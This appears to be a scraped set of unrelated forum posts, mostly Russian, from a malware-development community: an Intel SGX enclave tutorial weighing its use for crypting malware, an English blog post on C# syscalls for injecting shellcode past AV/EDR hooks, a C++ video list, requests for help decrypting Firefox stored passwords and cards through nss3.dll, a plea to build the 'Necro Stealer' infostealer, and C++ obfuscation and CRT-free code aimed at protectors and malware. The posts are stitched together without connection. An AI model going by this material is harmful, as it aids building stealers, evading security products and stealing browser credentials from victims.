Изначально писал сюда под конкурс, но понял что на данный момент у меня знаний нехватает для написания статей под конкурс, т.к. получаются сборные статьи из нескольких статей, которые уже есть в паблике, либо частичные переводы, что может как минимум нарушать правила конкурса, ну и если сравнивать с другими статьями, к сожалению недотягивает что-бы конкурировать с ними...
Но тем не менее кому-то такие статьи могут быть интересны.)))
Мотивация написать такую статью, было то-что часто слышу, что есть такой самый крутой анклав, который может прятать данные ваших программ от реверсера, антивирусов и даже операционной системы.
Звучит как в сказке, а действительно было-бы не плохо прятать какие-то данные от лишних глаз реверсера, или еще кого.
Я начал разбираться, а как можно создать такой анклав и что-то сделать с ним ?
Кому интересно, предлагаю прочитать эту статью.
Хочу отметить, что статья направлена больше для новичков, которые мало понимают что такое SGX и даёт поверхностные знания, что это за технология.
Итак, что-же такое анклав ?
Если кратко, то весь смысл Intel SGX (А мы будем говорить именно про него) по сути сводится к тому-что, в процессоре есть какая-то защищенная область памяти, которая доступна только процессору, больше никто даже операционная система доступ туда получить не может, по сути это и есть анклав.
В модели SGX приложение делится на доверенную и ненадежную часть. Недоверенная часть - это та часть, которая взаимодействует с остальной системой, а также создает анклав, который считается безопасной частью приложения (Это доверенная часть).
Внутри анклава хранятся важные данные, доступные только процессору.
Все экземпляры анклава изолированы друг от друга, поэтому они могут взаимодействовать только через свою ненадежную часть.
Доверенный и недоверенный код жестко связываются между собой ключами шифрования с использованием протокола Диффи-Хеллмана.
За процедуру подписи отвечает процессор, где и хранится ключ обмена информации, обновляющийся каждый раз при перезагрузке системы. Содержимое анклавов хранится в общей памяти, используемой пользовательскими приложениями, **однако хранение происходит в зашифрованном виде. Расшифровать содержимое может только процессор.
Вообще по теме много публикаций есть, цель этой статьи дать начальное представление о SGX, также показать как сделать каркас проекта для дальнейших экспериментов.
Ещё пару строк про функции ECALL и OCALL:**
Доверенная часть представляет из себя набор функций и процедур, называемых
ECALL (Enclave Call). Сигнатура таких функций должна быть прописана в
специальном header-файле, а их реализация в файле с исходным кодом доверенного
приложения, которое будет выполняться в процессоре.
Enclave Call – Это реализация программы в анклаве.
Также необходимо прописать прототипы тех функций, которые можно будет вызвать изнутри анклава в недоверенное приложение, такие функции называются OCALL (Outside Call). Прототипы прописываются в том же заголовочном файле, где и ECALL-функции, а реализация, в отличие от ECALL, прописывается соответственно в недоверенной части приложения.
Давайте перейдем к реализации простого примера:
Итак предлагаю написать демонстрационный пример, который просто передаст какие-то защищенные данные из анклава в наше приложение.
Ну например, пусть в анклаве у нас будет хранится какой-то буфер:
сhar* enclave_secret = "I am enclave !";
Этот буфер нам и нужно передать в наше приложение, в будущем эти наработки можно использовать как каркас, для написания более сложных приложений, например внутри анклава можно реализовать алгоритмы шифрования/расшифрования, ну тогда вы будете уже передавать приложению расшифрованные данные и т. д.
Итак, что-же нам нужно для работы:
1)Скачать и установить Visual Studio, я использую 2019 версию...
2)Cкачать и установить SDK для работы с
SGX:<https://software.intel.com/content/www/us/en/develop/topics/software-
guard-extensions/sdk.html>
В процессе скачки, будет предложена утомительная регистрация, но думаю вы справитесь...)))
На этапе установки будет предложено интегрировать пакет разработки в имеющуюся на компьютере версию VS, сделайте это.
Итак запускаем вижуалку и создаём проект:
Далее такое окно:
Тут я оставил всё как есть:
Затем добавим к созданному решению, ещё один проект: обычное консольное приложение C++.
В результате у нас должно быть что-то такое в обозревателе решений:
Теперь необходимо связать анклав с нашей программой консоли (Это недоверенная часть), для этого жмем правой кнопкой на проекте «Console_demo»:
Теперь нужно изменить некоторые свойства проекта «Console_demo» и «Enclave_demo»:
ОБЯЗАТЕЛЬНО СДЕЛАЙТЕ ЭТИ НАСТРОЙКИ ДЛЯ ДВУХ ПРОЕКТОВ:
Ещё необходимо обозначить в свойствах решения главный проект.
Всё мы закончили настройки, теперь давайте кодить…)
У нас два решения:
«Console_demo» и «Enclave_demo»:
Из сгенерированных файлов, нам будет интересно три файла:
Пропишем реализацию Console_demo.cpp:
C:Copy to clipboard
#define ENCLAVE_FILE "Enclave.signed.dll" //Библиотека, через которую осуществляется подпись анклава
#define BUFFER_LEN 256 //Размер буфера данных, которые мы отправляем в анклав
#include "sgx_urts.h" //Базовый заголовочный файл, в котором реализованы функции управления анклавом
#include "Enclave_demo_u.h" //Подключение автоматически сгенерированного файла
#include "stdio.h"
void ocall_function(char* buf) //OCALL функция для вывода текстовой строки - секрета из анклава. Вызов из анклава.
{
printf("+++ OCALL output: %s\n", buf);
}
static sgx_enclave_id_t enclave_id = 0; // id анклава, в проекте может быть несколько анклавов, каждый со своим id
static sgx_status_t enclave_ret = SGX_SUCCESS; //Статус выполнения операции
static sgx_launch_token_t enclave_token = { 0 }; //Массив нициализации токена запуска для анклава
static int enclave_token_updated = 0; // Флаг, что токен запуска не был изменен
static char buffer[BUFFER_LEN]; // Буфер, в который будет записан секрет из анклава
int main()
{
sgx_status_t ret = sgx_create_enclave(ENCLAVE_FILE, SGX_DEBUG_FLAG, &enclave_token, &enclave_token_updated, &enclave_id, NULL); //Функция создания анклава
if (ret != SGX_SUCCESS)
{
printf("+++ Failed to create enclave with error number: %#x\n", ret);
return 0;
}
ecall_function(enclave_id, buffer, BUFFER_LEN); //Вызов ECALL функции
printf("\n+++ ECALL Output: %s\n", buffer); //Вывод полученного секрета
system("pause");
}
Реализация Enclave_demo.cpp:
C:Copy to clipboard
#include "Enclave_demo_t.h"
#include "sgx_trts.h"
#include <cstring>
void ecall_function(char* str, size_t len)
{
char* secret = "I am enclave !"; // Наша секретная фраза
memcpy(str, secret, len); //Копируем секрет по адресу, которую получили
ocall_function(secret); //Вызов OCALL-функции
}
Реализация заголовочного файла Enclave_demo.edl:
C:Copy to clipboard
enclave {
from "sgx_tstdc.edl" import *;
trusted {
/* define ECALLs here. */
public void ecall_function([out, size=len] char* str, size_t len);
};
untrusted {
/* define OCALLs here. */
void ocall_function([in, string] char* buf);
};
};
В итоге после запуска консольного приложения, отрабатывает функция анклава ecall_function доверенного приложения, которая вызывает функцию в недоверенное приложение ocall_function и будет вывод: +++ OCALL output: I am enclave !
Далее функция ecall_function, копирует данные из анклава в буфер недоверенного
приложения и этот буфер мы и распечатываем.
И будет вывод: +++ ECALL Output: I am enclave !
Выводы:
Как видите если использовать SDK от интела и Visual Studio, то работать с
анклавами достаточно не сложно, нужно просто реализовать ECALLs/OCALLs функции
для обмена с анклавом из вашего приложения.
Пример проекта можно глянуть в гите:https://github.com/XShar/Enclave_demo
Теперь можно-ли это применять в малваре ?
С одной стороны не плохо-бы делать так криптовку/раскриптовку строк, или
самого зверька, реализовав весь алгоритм в ECALL функции.
Но тут есть негативные моменты:
1. Не все процессоры поддерживают SGX.
А поддерживают только новые компьютеры, начиная с 2016-2017 годов.
2. На некоторых компьютерах поддержку нужно включать в биос.
Ну и самый распространенный миф, что эта технология может обойти детект в
памяти, при работе например крипторов, увы, но думаю что нет, т.к. память
процесса должна-быть видна в системе, а раз она видна в системе, значит будет
видна и антивирусу.
В целом плюсы этой технологии в том-что вы можете сами реализовывать ECALL -
функции и то-что реализовано в этой функции не должно-быть доступно антивирусу
и реверсеру.)
Надеюсь данная статья даст объяснение новичкам что такое SGX, также приведенный тут проект можно использовать для экспериментов и дальнейшего изучения технологии.)
Using Syscalls to Inject Shellcode on Windows
After learning how to write shellcode injectors in C via the Sektor7 [Malware Development Essentials](https://www.solomonsklash.io/malware-course- review.html) course, I wanted to learn how to do the same thing in C#. Writing a simple injector that is similar to the Sektor7 one, using [P/Invoke](https://docs.microsoft.com/en-us/dotnet/standard/native- interop/pinvoke) to run similar Win32 API calls, turns out to be pretty easy. The biggest difference I noticed was that there was not a directly equivalent way to obfuscate API calls. After some research and some questions on the BloodHound Slack channel (thanks @TheWover and @NotoriousRebel!), I found there are two main options I could look into. One is using native Windows system calls (AKA syscalls), or using Dynamic Invocation. Each have their pros and cons, and in this case the biggest pro for syscalls was the excellent work explaining and demonstrating them by Jack Halon (here and here) and badBounty. Most of this post and POC is drawn from their fantastic work on the subject. I know TheWover and Ruben Boonen are doing some work on D/Invoke, and I plan on digging into that next.
I want to mention that a main goal of this post is to serve as documentation for this proof of concept and to clarify my own understanding. So while I’ve done my best to ensure the information here is accurate, it’s not guaranteed to be 100%. But hey, at least the code works.
Said working code is available here
Native APIs and Win32 APIs
To begin, I want to cover why we would want to use syscalls in the first place. The answer is [API hooking](https://outflank.nl/blog/2019/06/19/red- team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/), performed by AV/EDR products. This is a technique defensive products use to inspect Win32 API calls before they are executed, determine if they are suspicious/malicious, and either block or allow the call to proceed. This is done by slightly the changing the assembly of commonly abused API calls to jump to AV/EDR controlled code, where it is then inspected, and assuming the call is allowed, jumping back to the code of the original API call. For example, the CreateThread and CreateRemoteThread Win32 APIs are often used when injecting shellcode into a local or remote process. In fact I will use CreateThread shortly in a demo of injection using strictly Win32 APIs. These APIs are defined in Windows DLL files, in this case [MSDN](https://docs.microsoft.com/en- us/windows/win32/api/processthreadsapi/nf-processthreadsapi- createthread#requirements) tells us in Kernel32.dll. These are user-mode DLLs, which mean they are accessible to running user applications, and they do not actually interact directly with the operating system or CPU. Win32 APIs are essentially a layer of abstraction over the Windows native API. This API is considered kernel- mode, in that these APIs are closer to the operating system and underlying hardware. There are technically lower levels than this that actually perform kernel-mode functionality, but these are not exposed directly. The native API is the lowest level that is still exposed and accessible by user applications, and it functions as a kind of bridge or glue layer between user code and the operating system. Here’s a good diagram of how it looks:
You can see how Kernell32.dll, despite the misleading name, sits at a higher level than ntdll.dll, which is right at the boundary between user-mode and kernel-mode.
So why does the Win32 API exist? A big reason it exists is to call native APIs. When you call a Win32 API, it in turn calls a native API function, which then crosses the boundary into kernel-mode. User-mode code never directly touches hardware or the operating system. So the way it is able to access lower-level functionality is through native PIs. But if the native APIs still have to call yet lower level APIs, why not got straight to native APIs and cut out an extra step? One answer is so that Microsoft can make changes to the native APIs with out affecting user-mode application code. In fact, the specific functions in the native API often do change between Windows versions, yet the changes don’t affect user-mode code because the Win32 APIs remain the same.
So why do all these layers and levels and APIs matter to us if we just want to inject some shellcode? The main difference for our purposes between Win32 APIs and native APIs is that AV/EDR products can hook Win32 calls, but not native ones. This is because native calls are considered kernel-mode, and user code can’t make changes to it. There are some exceptions to this, like drivers, but they aren’t applicable for this post. The big takeaway is defenders can’t hook native API calls, while we are still allowed to call them ourselves. This way we can achieve the same functionality without the same visibility by defensive products. This is the fundamental value of system calls.
System Calls
Another name for native API calls is system calls. Similar to Linux, each system call has a specific number that represents it. This number represents an entry in the [System Service Dispatch Table (SSDT)](https://resources.infosecinstitute.com/hooking-system-service- dispatch-table-ssdt/), which is a table in the kernel that holds various references to various kernel-level functions. Each named native API has a matching syscall number, which has a corresponding SSDT entry. In order to make use of a syscall, it’s not enough to know the name of the API, such as NtCreateThread. We have to know its syscall number as well. We also need to know which version of Windows our code will run on, as the syscall numbers can and likely will change between versions. There are two ways to find these numbers, one easy, and one involving the dreaded debugger.
The first and easist way is to use the handy Windows system call table created by Mateusz “j00ru” Jurczyk. This makes it dead simple to find the syscall number you’re looking for, assuming you already know which API you’re looking for (more on that later).
WinDbg
The second method of finding syscall numbers is to look them up directly at the source: ntdll.dll. The first syscall we need for our injector is NtAllocateVirtualMemory. So we can fire up WinDbg and look for the NtAllocateVirtualMemory function in ntdll.dll. This is much easier than it sounds. First I open a target process to debug. It doesn’t matter which process, as basically all processes will map ntdll.dll. In this case I used good old notepad.
We attach to the notepad process and in the command prompt enter x ntdll!NtAllocateVirtualMemory. This lets us examine the NtAllocateVirtualMemory function within the ntdll.dll DLL. It returns a memory location for the function, which we examine, or unassemble, with the u command:
Now we can see the exact assembly language instructions for calling NtAllocateVirtualMemory. Calling syscalls in assembly tends to follow a pattern, in that some arguments are setup on the stack, seen with the mov r10,rcx statement, followed by moving the syscall number into the eax register, shown here as mov eax,18h. eax is the register the syscall instruction uses for every syscall. So now we know the syscall number of NtAllocateVirtualMemory is 18 in hex, which happens to be the same value listed on in Mateusz’s table! So far so good. We repeat this two more times, once for NtCreateThreadEx and once for NtWaitForSingleObject.
Where are you getting these native functions?
So far the process of finding the syscall numbers for our native API calls has been pretty easy. But there’s a key piece of information I’ve left out thus far: how do I know which syscalls I need? The way I did this was to take a basic functioning shellcode injector in C# that uses Win32 API calls (named Win32Injector, included in the Github repository for this post) and found the corresponding syscalls for each Win32 API call. Here is the code for Win32Injector:
As you can see from the code, the three main Win32 API calls used via P/Invoke are VirtualAlloc, CreateThread, and WaitForSingleObject, which allocate memory for our shellcode, create a thread that points to our shellcode, and start the thread, respectively. As these are normal Win32 APIs, they each have comprehensive documentation on MSDN. But as native APIs are considered undocumented, we may have to look elsewhere. There is no one source of truth for API documentation that I could find, but with some searching I was able to find everything I needed.
In the case of VirtualAlloc, some simple searching showed that the underlying native API was [NtAllocateVirtualMemory](https://docs.microsoft.com/en- us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory), which was in fact documented on MSDN. One down, two to go.
Unfortunately, there was no MSDN documentation for NtCreateThreadEx, which is the native API for CreateThread. Luckily, badBounty’s directInjectorPOC has the function definition available, and already in C# as well. This project was a huge help, so kudos to badBounty!
Lastly, I needed to find documentation for NtWaitForSingleObject, which as you might guess, is the native API called by WaitForSingleObject. You’ll notice a theme where many native API calls are prefaced with “Nt”, which makes mapping them from Win32 calls easier. You may also see the prefix “Zw”, which is also a native API call, but normally called from the kernel. These are sometimes identical, which you will see if you do x ntdll!ZwWaitForSingleObject and x ntdll!NtWaitForSingleObject in WinDbg. Again we get lucky with this API, as [ZwWaitForSingleObject](https://docs.microsoft.com/en-us/windows- hardware/drivers/ddi/ntifs/nf-ntifs-zwwaitforsingleobject) is documented on MSDN.
I want to point out a few other good sources of information for mapping Win32 to native API calls. First is the source code for ReactOS, which is an open source reimplementation of Windows. The Github mirror of their codebase has lots of syscalls you can search for. Next is SysWhispers, by jthuraisamy. It’s a project designed to help you find and implement syscalls. Really good stuff here. Lastly, the tool API Monitor. You can run a process and watch what APIs are called, their arguments, and a whole lot more. I didn’t use this a ton, as I only needed 3 syscalls and it was faster to find existing documentation, but I can see how useful this tool would be in larger projects. I believe ProcMon from Sysinternals has similar functionality, but I didn’t test it out much.
Ok, so we have our Win32 APIs mapped to our syscalls. Let’s write some C#!
But these docs are all for C/C++! And isn’t that assembly over there…
Wait a minute, these docs all have C/C++ implementations. How do we translate them into C#? The answer is [marshaling](https://docs.microsoft.com/en- us/dotnet/framework/interop/marshaling-data-with-platform-invoke). This is the essence of what P/Invoke does. Marshaling is a way of making use of unmanaged code, e.g. C/C++, and using in a managed context, that is, in C#. This is easily done for Win32 APIs via P/Invoke. Just import the DLL, specify the function definition with the help of pinvoke.net, and you’re off to the races. You can see this in the demo code of Win32Injector. But since syscalls are undocumented, Microsoft does not provide such an easy way to interface with them. But it is indeed possible, through the magic of delegates. Jack Halon covers delegates really well here and here, so I won’t go too in depth in this post. I would suggest reading those posts to get a good handle on them, and the process of using syscalls in general. But for completeness, delegates are essentially function pointers, which allow us to pass functions as parameters to other functions. The way we use them here is to define a delegate whose return type and function signature matches that of the syscall we want to use. We use marshaling to make sure the C/C++ data types are compatible with C#, define a function that implements the syscall, including all of its parameters and return type, and there you have it!
Not quite. We can’t actually call a native API, since the only implementation of it we have is in assembly! We know its function definition and parameters, but we can’t actually call it directly the same way we do a Win32 API. The assembly will work just fine for us though. Once again, it’s rather simple to execute assembly in C/C++, but C# is a little harder. Luckily we have a way to do it, and we already have the assembly from our WinDbg adventures. And don’t worry, you don’t really need to know assembly to make use of syscalls. Here is the assembly for the NtAllocateVirtualMemory syscall:
As you can see from the comments, we’re setting up some arguments on the stack, moving our syscall number into the eax register, and using the magic syscall operator. At a low enough level, this is just a function call. And remember how delegates are just function pointers? Hopefully it’s starting to make sense how this is fitting together. We need to get a function pointer that points to this assembly, along with some arguments in a C/C++ compatible format, in order to call a native API.
Putting it all together
So we’re almost done now. We have our syscalls, their numbers, the assembly to call them, and a way to call them in delegates. Let’s see how it actually looks in C#:
Starting from the top, we can see the C/C++ definition of NtAllocateVirtualMemory, as well as the assembly for the syscall itself. Starting at line 38, we have the C# definition of NtAllocateVirtualMemory. Note that it can take some trial and error to get each type in C# to match up with the unmanaged type. We create a pointer to our assembly inside an unsafe block. This allows us to perform operations in C#, like operate on raw memory, that are normally not safe in managed code. We also use the fixed keyword to make sure the C# garbage collector does not inadvertently move our memory around and change our pointers. Once we have a raw pointer to the memory location of our shellcode, we need to change its memory protection to executable so it can be run directly, as it will be a function pointer and not just data. Note that I am using the Win32 API VirtualProtectEx to change the memory protection. I’m not aware of a way to do this via syscall, as it’s kind of a chicken and the egg problem of getting the memory executable in order to run a syscall. If anyone knows how to do this in C#, please reach out! Another thing to note here is that setting memory to RWX is generally somewhat suspicious, but as this is a POC, I’m not too worried about that at this point. We’re concerned with hooking right now, not memory scanning!
Now comes the magic. This is the struct where our delegates are declared:
Note that a delegate definition is just a function signature and return type.
The implementation is up to us, as long as it matches the delegate definition,
and it’s what we’re implementing here in the C# NtAllocateVirtualMemory
function. At line 65 above, we create a delegate named assembledFunction,
which takes advantage of the special marshaling function
[Marshal.GetDelegateForFunctionPointer](https://docs.microsoft.com/en-
us/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=netframework-4.8#System_Runtime_InteropServices_Marshal_GetDelegateForFunctionPointer_System_IntPtr_System_Type_).
This method allows us to get a delegate from a function pointer. In this case,
our function pointer is the pointer to the syscall assembly called
memoryAddress. assembledFunction is now a function pointer to an assembly
language function, which means we’re now able to execute our syscall! We can
call assembledFunction delegate like any normal function, complete with
arguments, and we will get the results of the NtAllocateVirtualMemory syscall.
So in our return statement we call assembledFunction with the arguments that
were passed in and return the result. Let’s look at where we actually call
this function in Program.cs:
Here you can see we make a call to NtAllocateMemory instead of the Win32 API VirtualAlloc that Win32Injector uses. We setup the function call with all the needed arguments (lines 43-48) and make the call to NtAllocateMemory. This returns a block of memory for our shellcode, just like VirtualAlloc would!
The remaining steps are similar:
We copy our shellcode into our newly-allocated memory, and then create a thread within our current process pointing to that memory via another syscall, NtCreateThreadEx, in place of CreateThread. Finally, we start the thread with a call to the syscall NtWaitForSingleObject, instead of WaitForSingleObject. Here’s the final result:
Hello world via syscall! Assuming this was some sort of payload running on a system with API hooking enabled, we would have bypassed it and successfully run our payload.
A note on native code
Some key parts of this puzzle I’ve not mentioned yet are all of the native structs, enumerations, and definitions needed for the syscalls to function properly. If you look at the screenshots above, you will see types that don’t have implementations in C#, like the NTSTATUS return type for all the syscalls, or the AllocationType and ACCESS_MASK bitmasks. These types are normally declared in various Windows headers and DLLs, but to use syscalls we need to implement them ourselves. The process I followed to find them was to look for any non-simple type and try to find a definition for it. Pinvoke.net was massively helpful for this task. Between it and other resources like MSDN and the ReactOS source code, I was able to find and add everything I needed. You can find that code in the Native.cs class of the solution here.
Wrapup
Syscalls are fun! It’s not every day you get to combine 3 different languages, managed and unmanaged code, and several levels of Windows APIs in one small program. That said, there are some clear difficulties with syscalls. They require a fair bit of boilerplate code to use, and that boilerplate is scattered all around for you to find like a little undocumented treasure hunt. Debugging can also be tricky with the transition between managed and unmanaged code. Finally, syscall numbers change frequently and have to be customized for the platform you’re targeting. D/Invoke seems to handle several of these issues rather elegantly, so I’m excited to dig into those more soon.
Source: https://www.solomonsklash.io/syscalls-for-shellcode-injection.html
Даю небольшой список каналов на ютубе, которые можно смотреть, параллельно
кушая или просто на фон.
Большинство этих каналов на английском, но в конце статьи есть и
отечественные.
На всех каналах видео в основном только по С++.
Сразу скажу, что эти видео не научут ничему гениально, разве что могут
подкинуть какую-нибудь идею и могут быть очень полезны новичкам, которым лень
что-либо читать и они любят смотреть и/или слушать.
![godbolt.org](/proxy.php?image=https%3A%2F%2Fgithub.com%2Fcompiler- explorer%2Finfra%2Fblob%2Fmain%2Flogo%2Ffavicon.png%3Fraw%3Dtrue&hash=58090ab3141d5fe9d67780c7cf2b24d3&return_error=1)
Compiler Explorer is an interactive online compiler which shows the assembly output of compiled C++, Rust, Go (and many more) code.
godbolt.org
![quick-bench.com](/proxy.php?image=https%3A%2F%2Fquick- bench.com%2Fico%2Fquickbench- card.png&hash=f72a056deaaa173b81374723fb483c70&return_error=1)
Quickly benchmark C++ runtimes
![quick-bench.com](/proxy.php?image=http%3A%2F%2Fquick- bench.com%2Fico%2Ffavicon-32x32.png&hash=3703b3986e429580c691fac44879ba67&return_error=1) quick-bench.com
CopperSpice - <https://www.youtube.com/channel/UC-
lNlWEq0kpMcThO-I81ZdQ/videos>
На канале не очень много видео по +-20 минут, также про модерн фичи языка
CppCon - https://www.youtube.com/channel/UCMlGfpWw-RUdWX_JbLCukXg
Записи конференций. Много полезного и бесполезного, так что надо тщательней
выбирать, больше подходит для фона.
JUCE/ADC -
https://www.youtube.com/channel/UCaF6fKdDrSmPDmiZcl9KLnQ/videos
Канал с запимями конференций ADC(Audio developer conference).
Большинство видео посвящены всему что связано с разработкой аудио-плагинов и
аудио в принципе.
Как по мне очень полезный канал, особенно для тех, кто хочет влиться в работу
с аудио.
emBO++ - https://www.youtube.com/channel/UCg2JbpJ-PGdFUEZEiNr0GWg/videos
Записи конференции посвященной embedded разработке.
MakingGamesWithBen -
https://www.youtube.com/user/makinggameswithben/videos
Куча С++ и графики
Guided Hacking - https://www.youtube.com/user/L4DL4D2EUROPE/videos
Базовые аспекты работы с cheat engine, hooking, signature scanning, manual
mapping.
Также там пишутся маленькие читы.
В основном все на С++, есть чуть-чуть С#
The Cherno - https://www.youtube.com/channel/UCQ-W1KE9EYfdxhL6S4twUNw
Сам я его не смотрю, но кто-то наверняка может найти что-то для себя у него.
What's a Creel? - https://www.youtube.com/user/WhatsACreel/videos
Много видео по x64 assembly, есть С++ для новичков, чуть-чуть видео по графике
и нейронным сетям
ChiliTomatoNoodle -
https://www.youtube.com/user/ChiliTomatoNoodle/videos
Много видео по С++ и DirectX.
Vulkan Tutorial -
https://www.youtube.com/playlist?list=PL58qjcU5nk8uH9mmlASm4SFy1yuPzDAH0
Более 100 видео с гайдами по Vulkan на С++.
ASystemProgramming Channel -
https://www.youtube.com/channel/UCsM894fVqnlQTkvvDYLWiSw/videos
58 видео по базовому winapi для тех кому лень читать документацЫю.
Теперь можно приступить к отечественным каналам, коих я знаю не очень много.
C++ User Group -
https://www.youtube.com/channel/UCJ9v015sPgEi0jJXe_zanjA/videos
Записи конференций C++ Russia/Syberia, лучше тщательней выбирать что смотреть.
corehard - https://www.youtube.com/channel/UCifgOu6ARWbZ_dV29gss8xw
Также записи конференций
А на этом все, до скорых встреч.
Пробую работать с библиотекой mpack.
Скачал [amalgamation package
](https://github.com/ludocode/mpack/releases/download/v1.0/mpack-
amalgamation-1.0.tar.gz)( Версию, в которой только два файла - mpack.c,
mpack.h ), отключил все флаги в mpack.h, связанные с использованием
стандартной библиотеки си, порезал мусор.
На выходе получаю "LIBCMT.lib(ftol3.obj) : error LNK2001: неразрешенный
внешний символ __except1.".
Что я делаю не так?
Hello, my question is why does ransomware use winapi and not standard namespace for c/c++?
Чтоб дешифровать пароли фф нужно подгрузить nss3.dll и вызвав методы, дешифровать. Но как дешифровать CC фф? Покопавшийся в исходниках шарпистов понятно, что читается key3.db, из столбца metaData берутся данные "item1" и "item2", после читается столбец "NssPrivate", берется "a102" и "a11" - это вроде спец ключи для дешифровки. И непонятно как дешифровать... У кого есть примерная реализация всего этого на плюсах? или направьте на путь истинный.
Hidden content for authorized users.
Вообщем старый ПК ... царство ему небесное .
Временно (скорее всего месяца 3...) мой ПК мягко говоря тостер .
Но успел начать пробовать писать под андроид и забивать на 3 месяца не хочу .
От android студии пк почти дымится ., с xamarin (mvs2019) дела немного лучше
но не особо .
Есть ли нормальный инструмент который могу временно юзать ? Сейчас думаю над
eclipse и Netbeans, они вроде легче ...
Парни,нашел сие чудо на просторах интернета.
Hidden content for authorized users.
Stealer/tree/master/NecroStealer)
☣️ Necro Stealer + Web Panel. Contribute to madcode09/Necro-Stealer development by creating an account on GitHub.
github.com
Боролся и пытался его собрать 2 дня,но безуспешно,код посмотрел,панельку
сделал,вообщем ~~разобрался~~ ,НО
В архиве идет 2 .lib файла,которые должны защищать от LNK ошибок,они то меня и
преследуют(при сборке Debug,Release тоже,но уже меньше)
Error LNK2001 unresolved external symbol __imp__wnsprintfA,
Error LNK2019 unresolved external symbol imp__wnsprintfW referenced in
function "void cdecl doChromium(struct HZIP *,wchar_t const *,unsigned
long *,int)" (?doChromium@@YAXPAUHZIP@@PB_WPAKH@Z) и тп.
Также не совсем понимаю для чего автор(не смог найти его,mad-не автор) сделал
помимо основного решения еще 2,которые не сильно то и нужны,один связан с
sql,другой просто делает скришот. Изначально пришлось выключить проверку SDL
из-за srtcpy и подобного "чуда",после этого сразу по вылазили ошибки связанные
с ZipAdd,я помашанил и убрал их,потом снова LNK2019,LNK2001...Вообщем,апи я не
долго изучаю,прошу вашей помощи,может оценки данного кода
и сложившийся ситуации в целом.Кстати,пытался через external их пофиксить,тоже
безуспешно,если добавляю .lib,то ошибок только больше...
Всем привет !
Для чего нужен данный проект:
1)Для создания протекторов, зверьков и если по какой-то причине нужно отказаться от STL и CRT.
2)Также полезно для тех-кто пишит драйвера на уровне ядра.
Что это за проект:
Кастомная реализация работы со строками wchar_t, написана на чистом С++, это
означает, что не используются сторонние библиотеки в частности STL и либси.
Даже оператор new, был заменен на кастомный алокатор.)))
Итак, что умеет данный класс:
1)Удобное сравнение строк в условных операторах (<,>,==).
2)Удобное создание строк, пример:
Wstring s = L" Тестовая Строка. ";
3)Сложение строк:
Wstring test1 = s1 + s2 + s3;
4)Разделение строки на лексемы (Метод split), как использовать:
4.1)Создаете массив строк, в который будут помещены лексемы:
Wstring test_split[10];
//Для наглядности тестовая строка:
Wstring tested_str = L"Test1|Test2|Test3|Test4|Test5";
4.2)Вызываете метод split,с необходимыми параметрами (Описание параметров ниже):
tested_str.split((wchar_t*)L"|", test_split, 10, &count_splited);
Описание параметров:
(wchar_t*)L"|" - Делитель.
test_split - Массив, куда будут помещены итоговые строки.
10 - Размер массива.
count_splited - Число полученных строк.
Все в test_split, будут итоговые строки.)))
5)Метод c_wstr() - Получение указателя на wchar_t.
6)Метод c_str() - Получение указателя на char. Т.е. конвертация wchar_t* в
char*.
ВАЖНО, после получения такого указателя, его нужно освободить вручную,
вызвав hFree.
7)Метод Find, выполняет поиск подстроки в строке.
Возвращает позицию искомой строки.
Пример:
Wstring test_find = L"This is an awesome fun project. Let's do this again.";
size_t npos = test_find.Find(L"awesome");
8)Метод numeric_to_wstr - Конвертирует число в строку.
Пример:
//Тест конвертации числа в строку
uint32_t npos = 55;
Wstring Position_str = L"\0";
Position_str = Position_str.numeric_to_wstr(npos);
Описание проекта:
Wstring.cpp - Основная реализация класса.
Helpers.cpp - Кастомная реализация работы со строками из либ. си.
Test.cpp - Тестовые примеры, как работать.
Release/Wstring.exe - Собранный проект.
Ссылка на гитхаб:https://github.com/XShar/Custom_Wchar_String
Как получить функции из динамической библиотеки nss3.dll
Интересуют именно эти
NSS_Init;
PL_Base64Decode;
PK11SDR_Decrypt;
PK11_Authenticate;
PK11_GetInternalKeySlot;
PK11_FreeSlot.
Желательно пример с кодом.
Hidden content for authorized users.
Ребят , возможно глупый вопрос но опыта подобного нету .
Допустим есть софт на шарпе , при первом запуске он посылает уникальный ключ
на сервер и заносится в базу . Так я смотрю сколько копий софта было
активировано / запущенно
Но как мне понять какие копии сейчас онлайн (запущенны) ?
(надеюсь смог донести суть вопроса)
Здравствуйте, друзья, это - моя первая статья на Wasm'е, не судите строго. Надеюсь она же станет первой статьей в цикле, в котором я рассмотрю возможности мета-программирования разных ЯП и компиляторов применительно к обфускации кода. Первым пациентом у нас будет великий и могучий, ненавидимый многими программистами по всему миру, прородитель buffer overflow и use after free багов - добрый дядька С++.
Когда то очень давно, а именно в 2013 году, когда в компиляторы С++ начали завозить constexpr, я экспериментировал с применением мета-программирования для обфускации кода и даже сподобился выкатить более менее рабочий вариант (интернет все помнит, если хотите можете погуглить), который в итоге попал в сорсы какого-то несуразного банкинг бота, поэтому позвольте на всякий случай сделать небольшой дисклеймер. Код из этой статьи предоставляется исключительно в целях обучения, пожалуйста не считайте, что я несу ответственность за любое использование этого кода, нарушающее действующие законы вашего государства. Ведь господина Калашникова не судят за убийства из его автомата, а вилки не делают людей жирными. Спасибо.
Как и в прошлый раз для компиляции кода я буду использовать GCC/MinGW, чтобы описанные алгоритмы можно было бы использовать не только на Венде, но и на Линуксе. Поскольку подавляющее большинство из вас сидит на Венде (чисто по статистике), то и примеры мы будем разбирать на Венде. Использовать мы будем версию компилятора 9.2.0, она достаточно свежая на момент написания статьи. Чисто теоретически приведенный ниже код может быть использован так же и в MSVC и Clang, но я не тестил, извиняйте. Под Линуксом соответствующая версия компилятора наверняка есть в списке пакетов вашего дистрибутива (даже если нет, раз вы сидите на Линуксе, я уверен вы в состоянии сами разобраться, как его туда поставить). На Венде можно скачать и поставить его с помощью MSYS2, или tdm-gcc, или mingw-w64-dgn. И это не будет десятки гигабайт трафика и несколько часов потерянного за инсталляцией времени (MSVC, я тебя имею ввиду), я вас уверяю. Ну с преамбулами закончили, пошли скорее кодить.
Начнем с простого хелоу ворлда, чтобы я мог рассказать вам о том, как мы будем все собирать. Итак мы будем собирать код без зависимости от стандартных библиотек сишечки и плюсов, чтобы нам в дизассемблере было сразу видно, что и где находится. Напишем хеллоу ворлд:
C++:Copy to clipboard
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
extern "C" void EntryPoint() {
_printf_l("Hello World!\n", 0);
ExitProcess(0);
}
